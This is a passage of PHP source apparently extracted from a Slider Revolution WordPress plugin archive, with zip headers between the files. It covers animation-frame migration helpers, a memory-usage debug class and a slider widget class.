			'skewX'		=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'),
			'skewY'		=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'),
			'originX'	=> array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%'
			'originY'	=> array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%'
			'originZ'	=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit')
		);

		$_mask = array(
			'x'	=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'),
			'y' => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit')
		);
		
		$o['chars'] = $this->get_val($o, 'chars', array());
		$o['words'] = $this->get_val($o, 'words', array());
		$o['lines'] = $this->get_val($o, 'lines', array());
		$o['mask'] = $this->get_val($o, 'mask', array());
		$o['color'] = $this->get_val($o, 'color', array());
		$o['bgcolor'] = $this->get_val($o, 'bgcolor', array());
		
		$gs = $this->get_val($o, 'grayscale', $this->get_val($_base, array('grayscale', $f), 0));
		$bs = $this->get_val($o, 'brightness', $this->get_val($_base, array('brightness', $f), 100));
		$blr = $this->get_val($o, 'blur', $this->get_val($_base, array('blur', $f), 0));
		$fuse = (intval($gs) !== 0 || intval($bs) !== 100 || intval($blr) !== 0) ? true : false;
		
		$frame = array(
			'alias' => $this->get_val($o, 'alias', __('On Stage', 'revslider')),
			'filter' => array(
				'use' => $fuse,
				'grayscale' => $gs,
				'brightness' => $bs,
				'blur' => $blr
			),
			'transform' => array(
				'x' => $this->c_to_resp(array('default' => $this->get_val($o, 'x', $this->get_val($_base, array('x', $f), 0)))),
				'y' => $this->c_to_resp(array('default' => $this->get_val($o, 'y', $this->get_val($_base, array('y', $f), 0)))),
				'z' => $this->get_val($o, 'z', $this->get_val($_base, array('z', $f), 0)),
				'scaleX' => $this->get_val($o, 'scaleX', $this->get_val($_base, array('scaleX', $f), 1)),
				'scaleY' => $this->get_val($o, 'scaleY', $this->get_val($_base, array('scaleY', $f), 1)),
				'opacity' => $this->get_val($o, 'opacity', $this->get_val($_base, array('opacity', $f), 1)),
				'rotationX' => $this->get_val($o, 'rotationX', $this->get_val($_base, array('rotationX', $f), 0)),
				'rotationY' => $this->get_val($o, 'rotationY', $this->get_val($_base, array('rotationY', $f), 0)),
				'rotationZ' => $this->get_val($o, 'rotationZ', $this->get_val($_base, array('rotationZ', $f), 0)),
				'skewX' => $this->get_val($o, 'skewX', $this->get_val($_base, array('skewX', $f), 0)),
				'skewY' => $this->get_val($o, 'skewY', $this->get_val($_base, array('skewY', $f), 0)),
				'originX' => $this->get_val($o, 'originX', $this->get_val($_base, array('originX', $f), '50%')),
				'originY' => $this->get_val($o, 'originY', $this->get_val($_base, array('originY', $f), '50%')),
				'originZ' => $this->get_val($o, 'originY', $this->get_val($_base, array('originZ', $f), '0')),
				'transformPerspective' => $this->get_val($o, 'transformPerspective', $this->get_val($_base, array('transformPerspective', $f), '600px')),
			),
			'reverseDirection' => array(
				'x' => $this->_truefalse($this->get_val($o, 'rx', false)),
				'y' => $this->_truefalse($this->get_val($o, 'ry', false)),
				'rotationX' => $this->_truefalse($this->get_val($o, 'rrotationX', false)),
				'rotationY' => $this->_truefalse($this->get_val($o, 'rrotationY', false)),
				'rotationZ' => $this->_truefalse($this->get_val($o, 'rrotationZ', false)),
				'skewX' => $this->_truefalse($this->get_val($o, 'rskewX', false)),
				'skewY' => $this->_truefalse($this->get_val($o, 'rskewY', false)),
				'maskX' => $this->_truefalse($this->get_val($o, 'rmaskX', false)),
				'maskY' => $this->_truefalse($this->get_val($o, 'rmaskY', false)),
				'charsX' => $this->_truefalse($this->get_val($o, 'crx', false)),
				'charsY' => $this->_truefalse($this->get_val($o, 'cry', false)),
				'charsDirection' => $this->_truefalse($this->get_val($o, 'crsd', false)),
				'wordsX' => $this->_truefalse($this->get_val($o, 'wrx', false)),
				'wordsY' => $this->_truefalse($this->get_val($o, 'wry', false)),
				'wordsDirection' => $this->_truefalse($this->get_val($o, 'wrsd', false)),
				'linesX' => $this->_truefalse($this->get_val($o, 'lrx', false)),
				'linesY' => $this->_truefalse($this->get_val($o, 'lry', false)),
				'linesDirection' => $this->_truefalse($this->get_val($o, 'lrsd', false)),
				/*'z'			=> $this->get_val($o, 'rz', false),
					'scaleX'	=> $this->get_val($o, 'rscaleX', false),
				*/
			),
			'mask' => array(
				'use' => $this->_truefalse($this->get_val($o['mask'], 'use', false)),
				'x' => $this->c_to_resp(array('default' => $this->get_val($o['mask'], 'x', $this->get_val($_mask, array('x', $f), 0)))),
				'y' => $this->c_to_resp(array('default' => $this->get_val($o['mask'], 'y', $this->get_val($_mask, array('y', $f), 0))))
			),
			'color' => array(
				'color' => $this->get_val($o['color'], 'color', '#ffffff'),
				'use' => $this->get_val($o['color'], 'use', false)
			),
			'bgcolor' => array(
				'backgroundColor' => $this->get_val($o['bgcolor'], 'backgroundColor', 'transparent'),
				'use' => $this->get_val($o['bgcolor'], 'use', false)
			),
			'timeline' => array(
				//'delay' => $this->get_val($o, 'delay', 1000),
				'actionTriggered' => $this->get_val($o, 'actionTriggered', $this->get_val($_base, array('actionTriggered', $f), false)),
				'ease' => $this->get_val($o, 'ease', $this->get_val($_base, array('ease', $f), '')),
				'speed' => $this->get_val($o, 'speed', $this->get_val($_base, array('speed', $f), 300)),
				'start' => $this->get_val($o, 'start', $this->get_val($_base, array('start', $f), 0)),
				'startRelative' => $this->get_val($o, 'startRelative', 0),
				'endWithSlide' => $this->get_val($o, 'endWithSlide', false)
			),
			'chars' => array(
				'ease' => $this->get_val($o['chars'], 'ease', $this->get_val($_split, array('ease', $f), '')),
				'use' => $this->get_val($o['chars'], 'use', false),
				'direction' => $this->get_val($o['chars'], 'direction', $this->get_val($_split, array('direction', $f), '')),
				'delay' => $this->get_val($o['chars'], 'delay', $this->get_val($_split, array('delay', $f), '')),
				'x' => $this->c_to_resp(array('default' => $this->get_val($o['chars'], 'x', $this->get_val($_split, array('x', $f), 'inherit')))),
				'y' => $this->c_to_resp(array('default' => $this->get_val($o['chars'], 'y', $this->get_val($_split, array('y', $f), 'inherit')))),
				'z' => $this->get_val($o['chars'], 'z', $this->get_val($_split, array('z', $f), 'inherit')),
				'scaleX' => $this->get_val($o['chars'], 'scaleX', $this->get_val($_split, array('scaleX', $f), 'inherit')),
				'scaleY' => $this->get_val($o['chars'], 'scaleY', $this->get_val($_split, array('scaleY', $f), 'inherit')),
				'opacity' => $this->get_val($o['chars'], 'opacity', 'inherit'),
				'rotationX' => $this->get_val($o['chars'], 'rotationX', $this->get_val($_split, array('rotationX', $f), 'inherit')),
				'rotationY' => $this->get_val($o['chars'], 'rotationY', $this->get_val($_split, array('rotationY', $f), 'inherit')),
				'rotationZ' => $this->get_val($o['chars'], 'rotationZ', $this->get_val($_split, array('rotationZ', $f), 'inherit')),
				'skewX' => $this->get_val($o['chars'], 'skewX', $this->get_val($_split, array('skewX', $f), 'inherit')),
				'skewY' => $this->get_val($o['chars'], 'skewY', $this->get_val($_split, array('skewY', $f), 'inherit')),
				'originX' => $this->get_val($o['chars'], 'originX', $this->get_val($_split, array('originX', $f), '50%')),
				'originY' => $this->get_val($o['chars'], 'originY', $this->get_val($_split, array('originY', $f), '50%')),
				'originZ' => $this->get_val($o['chars'], 'originY', $this->get_val($_split, array('originZ', $f), '0')),
				'fuse' => $fuse,
				'grayscale' => $gs,
				'brightness' => $bs,
				'blur' => $blr
			),
			'words' => array(
				'ease' => $this->get_val($o['words'], 'ease', $this->get_val($_split, array('ease', $f), '')),
				'use' => $this->get_val($o['words'], 'use', false),
				'direction' => $this->get_val($o['words'], 'direction', $this->get_val($_split, array('direction', $f), '')),
				'delay' => $this->get_val($o['words'], 'delay', $this->get_val($_split, array('delay', $f), '')),
				'x' => $this->c_to_resp(array('default' => $this->get_val($o['words'], 'x', $this->get_val($_split, array('x', $f), 'inherit')))),
				'y' => $this->c_to_resp(array('default' => $this->get_val($o['words'], 'y', $this->get_val($_split, array('y', $f), 'inherit')))),
				'z' => $this->get_val($o['words'], 'z', $this->get_val($_split, array('z', $f), 'inherit')),
				'scaleX' => $this->get_val($o['words'], 'scaleX', $this->get_val($_split, array('scaleX', $f), 'inherit')),
				'scaleY' => $this->get_val($o['words'], 'scaleY', $this->get_val($_split, array('scaleY', $f), 'inherit')),
				'opacity' => $this->get_val($o['words'], 'opacity', 'inherit'),
				'rotationX' => $this->get_val($o['words'], 'rotationX', $this->get_val($_split, array('rotationX', $f), 'inherit')),
				'rotationY' => $this->get_val($o['words'], 'rotationY', $this->get_val($_split, array('rotationY', $f), 'inherit')),
				'rotationZ' => $this->get_val($o['words'], 'rotationZ', $this->get_val($_split, array('rotationZ', $f), 'inherit')),
				'skewX' => $this->get_val($o['words'], 'skewX', $this->get_val($_split, array('skewX', $f), 'inherit')),
				'skewY' => $this->get_val($o['words'], 'skewY', $this->get_val($_split, array('skewY', $f), 'inherit')),
				'originX' => $this->get_val($o['words'], 'originX', $this->get_val($_split, array('originX', $f), '50%')),
				'originY' => $this->get_val($o['words'], 'originY', $this->get_val($_split, array('originY', $f), '50%')),
				'originZ' => $this->get_val($o['words'], 'originY', $this->get_val($_split, array('originZ', $f), '0')),
				'fuse' => $fuse,
				'grayscale' => $gs,
				'brightness' => $bs,
				'blur' => $blr
			),
			'lines' => array(
				'ease' => $this->get_val($o['lines'], 'ease', $this->get_val($_split, array('ease', $f), '')),
				'use' => $this->get_val($o['lines'], 'use', false),
				'direction' => $this->get_val($o['lines'], 'direction', $this->get_val($_split, array('direction', $f), '')),
				'delay' => $this->get_val($o['lines'], 'delay', $this->get_val($_split, array('delay', $f), '')),
				'x' => $this->c_to_resp(array('default' => $this->get_val($o['lines'], 'x', $this->get_val($_split, array('x', $f), 'inherit')))),
				'y' => $this->c_to_resp(array('default' => $this->get_val($o['lines'], 'y', $this->get_val($_split, array('y', $f), 'inherit')))),
				'z' => $this->get_val($o['lines'], 'z', $this->get_val($_split, array('z', $f), 'inherit')),
				'scaleX' => $this->get_val($o['lines'], 'scaleX', $this->get_val($_split, array('scaleX', $f), 'inherit')),
				'scaleY' => $this->get_val($o['lines'], 'scaleY', $this->get_val($_split, array('scaleY', $f), 'inherit')),
				'opacity' => $this->get_val($o['lines'], 'opacity', 'inherit'),
				'rotationX' => $this->get_val($o['lines'], 'rotationX', $this->get_val($_split, array('rotationX', $f), 'inherit')),
				'rotationY' => $this->get_val($o['lines'], 'rotationY', $this->get_val($_split, array('rotationY', $f), 'inherit')),
				'rotationZ' => $this->get_val($o['lines'], 'rotationZ', $this->get_val($_split, array('rotationZ', $f), 'inherit')),
				'skewX' => $this->get_val($o['lines'], 'skewX', $this->get_val($_split, array('skewX', $f), 'inherit')),
				'skewY' => $this->get_val($o['lines'], 'skewY', $this->get_val($_split, array('skewY', $f), 'inherit')),
				'originX' => $this->get_val($o['lines'], 'originX', $this->get_val($_split, array('originX', $f), '50%')),
				'originY' => $this->get_val($o['lines'], 'originY', $this->get_val($_split, array('originY', $f), '50%')),
				'originZ' => $this->get_val($o['lines'], 'originY', $this->get_val($_split, array('originZ', $f), '0')),
				'fuse' => $fuse,
				'grayscale' => $gs,
				'brightness' => $bs,
				'blur' => $blr
			),
			'sfx' => array(
				'effect' => $this->get_val($o, 'effect', ''),
				'color' => $this->get_val($o, 'sfxcolor', '#ffffff')
			)
		);

		/*if(isset($frame['actionTriggered'])){
			$frame['timeline']['actionTriggered'] = $frame['actionTriggered'];
		}*/
		
		//only for frame_999 currently
		if($this->get_val($o, 'animation', false) === 'auto'){
			$frame['timeline']['auto'] = true;
		}
		
		if($frame['sfx']['effect'] === 'blockfrombottom'){
			$frame['sfx']['effect'] = 'blocktotop';
		}elseif($frame['sfx']['effect'] === 'blockfromtop'){
			$frame['sfx']['effect'] = 'blocktobottom';
		}elseif($frame['sfx']['effect'] === 'blockfromleft'){
			$frame['sfx']['effect'] = 'blocktoright';
		}elseif($frame['sfx']['effect'] === 'blockfromright'){
			$frame['sfx']['effect'] = 'blocktoleft';
		}else{
			$frame['sfx']['effect'] = 'none';
		}
		
		//add to all origins a % if no % or px is set
		$check = array('originX', 'originY', 'originZ');
		$path = array('transform', 'chars', 'words', 'lines');
		foreach($path as $_path){
			foreach($check as $_check){
				if(strpos($frame[$_path][$_check], '%') !== false) continue;
				if(strpos(strtolower($frame[$_path][$_check]), 'px') !== false) continue;
				
				$frame[$_path][$_check] .= '%';
			}
		}
		
		/**
		 * we need to overwrite values here once again
		 * @added because of animations, to change i.e. 'inherit' of default old to the needed value
		 **/
		if(!empty($overwrite_with)){
			$_ign = array('ease', 'speed', 'delay', 'direction', 'color'); //ignore these values and do not take them from the animation template
			
			foreach($overwrite_with as $ok => $oval){
				if(!isset($frame[$ok])) $frame[$ok] = array();
				if(is_array($oval)){
					if(!empty($oval)){
						foreach($oval as $k => $v){
							if(in_array($k, $_ign)){
								if($k == 'color'){ //ignore color only in sfx path
									if($ok == 'sfx') continue;
								}else{
									continue;
								}
							}
							$frame[$ok][$k] = $v;
						}
					}
				}else{
					if(in_array($ok, $_ign)) continue;
					
					$frame[$ok] = $oval;
				}
			}
		}
		
		return $frame;
	}

	public function conv_perc_vals($x){
		if(!is_numeric($x) && $x !== false && $x !== NULL && $x !== true && strpos($x, '%]') !== false){
			//x.split("[")[1].split("]")[0];
			$a = explode('[', $x);
			if(isset($a[1])){
				$a = explode(']', $a[1]);
				$x = $a[0];
			}
		}

		return $x;
	}

	public function c_to_v_and_u($_){
		$newObj = array('v' => $_['default'], 'u' => $_['u']);
		$newObj['v'] = (!isset($_['val'])) ? $newObj['v'] : $_['val'];

		$i = 0;
		if(is_object($newObj['v']) || is_array($newObj['v'])){
			foreach($newObj['v'] as $vi => $nov){
				if(!is_numeric($nov)){
					if($i == 0 && strpos($nov, 'px') !== false){
						$newObj['u'] = 'px';
					}elseif($i == 0 && strpos($nov, '%') !== false){
						$newObj['u'] = '%';
					}

					//$newObj['u']		= ($i == 0 && strpos($nov, 'px') !== false) ? 'px' : ($i == 0 && strpos($nov, '%') !== false) ? '%' : $newObj['u'];
					$newObj['v'][$vi] = intval(str_replace(array('%', 'px'), '', $nov)) . $newObj['u'];

					$i++;
				}
			}
		}else{
			if(!is_numeric($newObj['v'])){
				if(strpos($newObj['v'], 'px') !== false){
					$newObj['u'] = 'px';
				}elseif(strpos($newObj['v'], '%') !== false){
					$newObj['u'] = '%';
				}
				//$newObj['u'] = (strpos($newObj['v'], 'px') !== false) ? 'px' : (strpos($newObj['v'], '%') !== false) ? '%' : $newObj['u'];
				$newObj['v'] = intval(str_replace(array('%', 'px'), '', $newObj['v'])) . $newObj['u'];
			}
		}

		return $newObj;
	}

	
	/*
		CREATE A DEFAULT FRAME OBJECT
	*/
	public function default_loop_frame($o = array()){
		$o['frame_0'] = $this->get_val($o, 'frame_0', array());
		$o['frame_999'] = $this->get_val($o, 'frame_999', array());
		
		$loop = array(
			'use' => $this->get_val($o, 'use', false),
			'radiusAngle' => $this->get_val($o, 'radiusAngle', 0),
			'curviness' => $this->get_val($o, 'curviness', 2),
			'curved' => $this->get_val($o, 'curved', false),
			'yoyo_move' => $this->get_val($o, 'yoyo_move', false),
			'yoyo_rotate' => $this->get_val($o, 'yoyo_rotate', false),
			'yoyo_scale' => $this->get_val($o, 'yoyo_scale', false),
			'yoyo_filter' => $this->get_val($o, 'yoyo_filter', false),
			'repeat' => $this->get_val($o, 'repeat', '-1'),
			'start' => $this->get_val($o, 'start', 740),
			'autoRotate' => $this->get_val($o, 'autoRotate', false),
			'frame_0' => array(
				'zr' => $this->get_val($o, array('frame_0', 'zr'), 0),
				'z' => $this->get_val($o, array('frame_0', 'z'), 0),
				'opacity' => $this->get_val($o, array('frame_0', 'opacity'), 1),
				'rotationX' => $this->get_val($o, array('frame_0', 'rotationX'), 0),
				'rotationY' => $this->get_val($o, array('frame_0', 'rotationY'), 0),
				'skewX' => $this->get_val($o, array('frame_0', 'skewX'), 0),
				'skewY' => $this->get_val($o, array('frame_0', 'skewY'), 0),
				'blur' => 0,
				'brightness' => 100,
				'grayscale' => 0
			),
			'frame_999' => array(
				'zr' => $this->get_val($o, array('frame_999', 'zr'), 0),
				'z' => $this->get_val($o, array('frame_999', 'z'), 0),
				'opacity' => $this->get_val($o, array('frame_999', 'opacity'), 1),
				'rotationX' => $this->get_val($o, array('frame_999', 'rotationX'), 0),
				'rotationY' => $this->get_val($o, array('frame_999', 'rotationY'), 0),
				'skewX' => $this->get_val($o, array('frame_999', 'skewX'), 0),
				'skewY' => $this->get_val($o, array('frame_999', 'skewY'), 0),
				'blur' => 0,
				'brightness' => 100,
				'grayscale' => 0
			)
		);
		
		//add values depending on the selected animation
		$loop['speed'] = $this->get_val($o, 'speed', 1000);
		switch($this->get_val($o, 'loop_animation')){
			case 'rs-pendulum':
			case 'rs-rotate':
				$loop['ease'] = $this->get_val($o, 'ease', 'none');
				$loop['frame_0']['rotationZ'] = $this->get_val($o, array('frame_0', 'rotationZ'), 0);
				$loop['frame_999']['rotationZ'] = $this->get_val($o, array('frame_999', 'rotationZ'), 0);
				$loop['originX'] = $this->get_val($o, 'originX', '50%');
				$loop['originY'] = $this->get_val($o, 'originY', '50%');
			break;
			case 'rs-slideloop':
				$loop['ease'] = $this->get_val($o, 'ease', 'none');
				$loop['frame_0']['x'] = $this->get_val($o, array('frame_0', 'x'), 0);
				$loop['frame_999']['x'] = $this->get_val($o, array('frame_999', 'x'), 0);
				$loop['frame_0']['y'] = $this->get_val($o, array('frame_0', 'y'), 0);
				$loop['frame_999']['y'] = $this->get_val($o, array('frame_999', 'y'), 0);
			break;
			case 'rs-pulse':
				$loop['ease'] = $this->get_val($o, 'ease', 'none');
				$loop['frame_0']['scaleX'] = $this->get_val($o, array('frame_0', 'scaleX'), 1);
				$loop['frame_0']['scaleY'] = $this->get_val($o, array('frame_0', 'scaleX'), 1);
				$loop['frame_999']['scaleX'] = $this->get_val($o, array('frame_999', 'scaleX'), 1);
				$loop['frame_999']['scaleY'] = $this->get_val($o, array('frame_999', 'scaleY'), 1);
			break;
			case 'rs-wave':
				$loop['frame_0']['xr'] = $this->get_val($o, array('frame_0', 'xr'), 0);
				$loop['frame_0']['yr'] = $this->get_val($o, array('frame_0', 'yr'), 0);
				$loop['frame_999']['xr'] = $this->get_val($o, array('frame_999', 'xr'), 0);
				$loop['frame_999']['yr'] = $this->get_val($o, array('frame_999', 'yr'), 0);
			    $loop['originX'] = $this->get_val($o, 'originX', '50%');
				$loop['originY'] = $this->get_val($o, 'originY', '50%');
			break;
		}
		
		return $loop;
	}
	
	
	/**
	 * compare and remove unneeded defaults
	 **/
	public function _compare($emp, $o){
		if(!empty($o)){
			if(is_array($o) || is_object($o)){
				$o = (array)$o;
				$emp = (array)$emp;
				foreach($o as $key => $v){
					
					/**
					 * Little hacks to modify if/if not things need to be deleted
					 **/
					if($key === 'frameOrder' || $key === 'alias' || $key === 'intelligentInherit'){ //with in_array we receive unexpected results
						continue;
					}
					if($this->upgrade_layer_type === 'shape'){
						if($this->current_parent === 'idle'){
							if($key === 'backgroundColor'){ //leave it as it is
								continue;
							}
						}
						
					}
					/**
					 * END OF
					 * Little hacks to modify if/if not things need to be deleted
					 **/
					 
					if(!is_array($o[$key]) && !is_object($o[$key])){
						$check = $this->get_val($emp, $key);
						//if($check == $o[$key]){ //before the int(0) is same as '##' issue, this line was active
						if(!is_array($check) && !is_object($check) && (string)$check == (string)$o[$key]){ //int(0) is same as '##', so check by casting them to string
							//if($check === false && $o[$key] === false || $check === true && $o[$key] === true){
							//}else{
								unset($o[$key]);
							//}
						}
					}elseif($this->get_val($emp, $key, '######') !== '######'){
						if(in_array($key, array('v', 'borderWidth'), true) && is_array($o[$key])){
							if(json_encode($emp[$key]) == json_encode($o[$key])){
								unset($o[$key]);
							}
						}else{
							if($key === 'idle'){ //we check for idle, as we want to leave backgroundColor within idle 
								$this->current_parent = $key;
							}
							$o[$key] = $this->_compare($emp[$key], $o[$key]); //, $d
							if($key === 'idle'){ //we check for idle, as we want to leave backgroundColor within idle and we can set it only back to false if we are out of the idle tree
								$this->current_parent = false;
							}
						}
						
						//CHECK IF OBJECT IS EMPTY ?
						if($this->isEmptyObject($this->get_val($o, $key, ''))){
							unset($o[$key]);
						}
					}
				}
			}
		}
		
	 	return $o;
	}

	/**
	 * simplify layer, by removing all default values
	 **/
	public function _simplify_layers($_, $slide, $slider){
		if(in_array($this->get_val($_, 'uid', false), array('top', 'bottom', 'middle', 'zone'))) return $_;
		if(in_array($this->get_val($_, 'type', false), array('top', 'bottom', 'middle', 'zone'))) return $_;
		
		$type	= $this->get_val($_, 'type');
		$__		= array('type' => $type);
		if(!isset($this->blank_layer[$type])){
			$_z_index = $this->z_index;
			$this->z_index = '##'; //temporary push a none existand zindex, so that the blank layer will not delete the zindex
			
			$this->blank_layer[$type] = $this->migrate_layer_to_6_0($__, true, $slide, $slider);
			
			$this->z_index = $_z_index;
		}
		
		$this->upgrade_layer_type = $type;
		$layer = $this->_compare($this->blank_layer[$type], $_);
		
		$layer['type'] = $this->get_val($_, 'type');

		return $layer;
	}

	/**
	 * simplify layer, by removing all default values
	 **/
	public function _simplify_slides($_){
		$_slide = new RevSliderSlide();
		
		if($this->blank_slide === false){
			$this->blank_slide = $this->migrate_slide_to_6_0($_slide);
			$this->blank_slide['version'] = $this->revision;
		}
		
		if($_ instanceof RevSliderSlide){
			$params = $_->get_params();
		}else{
			$params = $_;
		}
		$slide = $this->_compare($this->blank_slide, $params);
		
		return $slide;
	}
	
	
	/**
	 * Check if it is an empty array or object
	 * @since: 6.0.0
	 **/
	public function isEmptyObject($vars){ //object	
		//$vars = get_object_vars($object);
		if(empty($vars) && $vars !== 0){ // && $vars !== false
		//if(!is_array($vars) && !is_object($vars) && trim($vars) === '' && $vars !== 0){
			return true;
		}else{
			$vars = (array)$vars;
			foreach($vars as $var){
				if(!is_array($var)){ //!is_object($var) && 
					return false;
				}else{
					return $this->isEmptyObject($var);
				}
			}
		}
	}
	
	
	/**
	 * get transparency from rgba
	 * @since: 5.0
	 */
	public function get_trans_from_rgba($rgba, $in_percent = false){
		if(strtolower($rgba) == 'transparent') return 100;
		
		$temp = explode(',', $rgba);
		if(count($temp) == 4){
			return ($in_percent) ? preg_replace('/[^\d.]/', '', $temp[3]) : preg_replace('/[^\d.]/', "", $temp[3]) * 100;
		}
		
		return 100;
	}
	
	
	/**
	 * change rgba to hex
	 * @since: 5.0
	 * @moved: 6.1.3
	 */
	public function rgba2hex($rgba){
		if(strtolower($rgba) == 'transparent') return $rgba;
		
		$temp = explode(',', $rgba);
		$rgb = array();
		if(count($temp) == 4) unset($temp[3]);
		foreach($temp as $val){
			$t = dechex(preg_replace('/[^\d.]/', '', $val));
			if(strlen($t) < 2) $t = '0'.$t;
			$rgb[] = $t;
		}
		
		return '#'.implode('', $rgb);
	}
}
PK�y3\�{�::includes/debug.phpnu�[���<?php

if( !defined( 'ABSPATH') ) exit();

class RevSliderMemoryUsageInformation
{

    private $real_usage;
    private $statistics = array();

    // Memory Usage Information constructor
    public function __construct($real_usage = false)
    {
        $this->real_usage = $real_usage;
    }

    // Returns current memory usage with or without styling
    public function getCurrentMemoryUsage($with_style = true)
    {
        $mem = memory_get_usage($this->real_usage);
        return ($with_style) ? $this->byteFormat($mem) : $mem;
    }

    // Returns peak of memory usage
    public function getPeakMemoryUsage($with_style = true)
    {
        $mem = memory_get_peak_usage($this->real_usage);
        return ($with_style) ? $this->byteFormat($mem) : $mem;
    }

    // Set memory usage with info
    public function setMemoryUsage($info = '')
    {
        $this->statistics[] = array(
			'time' => microtime(), //time(),
            'info' => $info,
            'memory_usage' => $this->getCurrentMemoryUsage());
    }

    // Print all memory usage info and memory limit and 
    public function printMemoryUsageInformation()
    {
		//return true;
		echo '<pre>';
        foreach ($this->statistics as $satistic)
        {
            echo "Time: " . $satistic['time'] .
            " | Memory Usage: " . $satistic['memory_usage'] .
            " | Info: " . $satistic['info'];
            echo "\n";
        }
        echo "\n\n";
        echo "Peak of memory usage: " . $this->getPeakMemoryUsage();
        echo "\n\n";
		echo '</pre>';
    }

    // Set start with default info or some custom info
    public function setStart($info = 'Initial Memory Usage')
    {
        $this->setMemoryUsage($info);
    }

    // Set end with default info or some custom info
    public function setEnd($info = 'Memory Usage at the End')
    {
        $this->setMemoryUsage($info);
    }

    // Byte formatting
    private function byteFormat($bytes, $unit = "", $decimals = 2)
    {
        $units = array('B' => 0, 'KB' => 1, 'MB' => 2, 'GB' => 3, 'TB' => 4,
            'PB' => 5, 'EB' => 6, 'ZB' => 7, 'YB' => 8);

        $value = 0;
        if ($bytes > 0)
        {
            // Generate automatic prefix by bytes 
            // If wrong prefix given
            if (!array_key_exists($unit, $units))
            {
                $pow = floor(log($bytes) / log(1024));
                $unit = array_search($pow, $units);
            }

            // Calculate byte value by prefix
            $value = ($bytes / pow(1024, floor($units[$unit])));
        }

        // If decimals is not numeric or decimals is less than 0 
        // then set default value
        if (!is_numeric($decimals) || $decimals < 0)
        {
            $decimals = 2;
        }

        // Format output
        return sprintf('%.' . $decimals . 'f ' . $unit, $value);
    }

}PK�y3\óX2||includes/widget.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

class RevSliderWidget extends WP_Widget {
	
    public function __construct(){
        //actual widget process
        parent::__construct('rev-slider-widget', __('Slider Revolution', 'revslider'), array('classname' => 'widget_revslider', 'description' => __('Displays a Slider Revolution Module on the page', 'revslider')));
    }
	
	public static function register_widget(){
		register_widget('RevSliderWidget');
	}
 
    /**
     * the form
     */
    public function form($instance){
		$sliders = array();
		$_slider = new RevSliderSlider();
		
		try {
            $sliders = $_slider->get_sliders_short();
        }catch(Exception $e){}            
          
		if(empty($sliders)){
			echo __('No Sliders found, Please create a Slider first', 'revslider');
		}else{
	    	$sliderID	= $_slider->get_val($instance, 'rev_slider');
	    	$homepage	= $_slider->get_val($instance, 'rev_slider_homepage');
	    	$pagesValue	= $_slider->get_val($instance, 'rev_slider_pages');
	    	$title		= $_slider->get_val($instance, 'rev_slider_title');
			$checked	= ($homepage == 'on') ? "checked='checked'" : '';
	    	
			$fieldID_check	 = $this->get_field_id('rev_slider_homepage');
			$fieldName_check = $this->get_field_name('rev_slider_homepage');

			$fieldPages_ID	 = $this->get_field_id('rev_slider_pages');
			$fieldPages_Name = $this->get_field_name('rev_slider_pages');
			
			$fieldTitle_ID	 = $this->get_field_id('rev_slider_title');
			$fieldTitle_Name = $this->get_field_name('rev_slider_title');
			?>
			<p>
				<span style="display: inline-block; width: 130px"><label for="<?php echo $fieldTitle_ID; ?>"><?php _e('Title', 'revslider')?>:</label></span>
				<input type="text" style="display: inline-block; width: auto;" name="<?php echo $fieldTitle_Name; ?>" id="<?php echo $fieldTitle_ID; ?>" value="<?php echo $title; ?>" class="widefat">
			</p>
			<p>
				<span style="display: inline-block; width: 130px"><?php _e('Choose Slider', 'revslider'); ?>:</span>
				<select name="<?php echo $this->get_field_name('rev_slider'); ?>" id="<?php echo $this->get_field_id('rev_slider'); ?>">
					<?php
					foreach($sliders as $key => $item){
						$selected = (trim($key) == trim($sliderID)) ? ' selected ' : '';
						echo '<option '.$selected.' value="'.$key.'">'.$item.'</option>';
					}
					?>
				</select>
			</p>
			<p>
				<span style="display: inline-block; width: 130px"><label for="<?php echo $fieldID_check; ?>"><?php _e('Home Page Only', 'revslider'); ?>:</label></span>
				<input type="checkbox" name="<?php echo $fieldName_check; ?>" id="<?php echo $fieldID_check; ?>" <?php echo $checked; ?>>
			</p>
			<p>
				<span style="display: inline-block; width: 130px"><label for="<?php echo $fieldPages_ID; ?>"><?php _e('Pages (example: 2,10):', 'revslider'); ?></label></span>
				<input type="text" name="<?php echo $fieldPages_Name; ?>" id="<?php echo $fieldPages_ID; ?>" value="<?php echo $pagesValue; ?>">
			</p>
			<?php
		}	//else
    }
 
 
    /**
     * update
     */
    public function update($new_instance, $old_instance){
        return $new_instance;
    }

    
    /**
     * widget output
     */
    public function widget($args, $instance){
		try {
			$_slider = new RevSliderSlider();
			
			$sid = $_slider->get_val($instance, 'rev_slider');
			
			if(empty($sid)) return(false);
			
			$output = new RevSliderOutput();
			
			$title		= $_slider->get_val($instance, 'rev_slider_title');
			$homepage	= ($_slider->get_val($instance, 'rev_slider_homepage') == 'on') ? 'homepage' : '';
			$pages		= $_slider->get_val($instance, 'rev_slider_pages');
			
			if(!empty($pages)){
				$homepage .= (!empty($homepage)) ? ',' : '';
				$homepage .= $pages;
			}
			
			$_slider->init_by_id($sid);
			if($_slider->get_param(array('general', 'disableOnMobile'), false) == true && wp_is_mobile()) return false;
			
			//widget output
			echo $_slider->get_val($args, 'before_widget');
			
			if(!empty($title)){
				echo $_slider->get_val($args, 'before_title');
				echo $title;
				echo $_slider->get_val($args, 'after_title');
			}
			
			$output->set_add_to($homepage);
			$slider = $output->add_slider_to_stage($sid);
			
			add_action('wp_head', array($this, 'write_css'));
			
			echo $_slider->get_val($args, 'after_widget');
		}catch(Exception $e){
			$message = $e->getMessage();
			
			$output->print_error_message($message);
		}
    }

    public function write_css(){
		
	}

}

/**
 * old classname extends new one (old classnames will be obsolete soon)
 * @since: 5.0
 **/
class RevSlider_Widget extends RevSliderWidget {}PK�y3\�����includes/addons.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

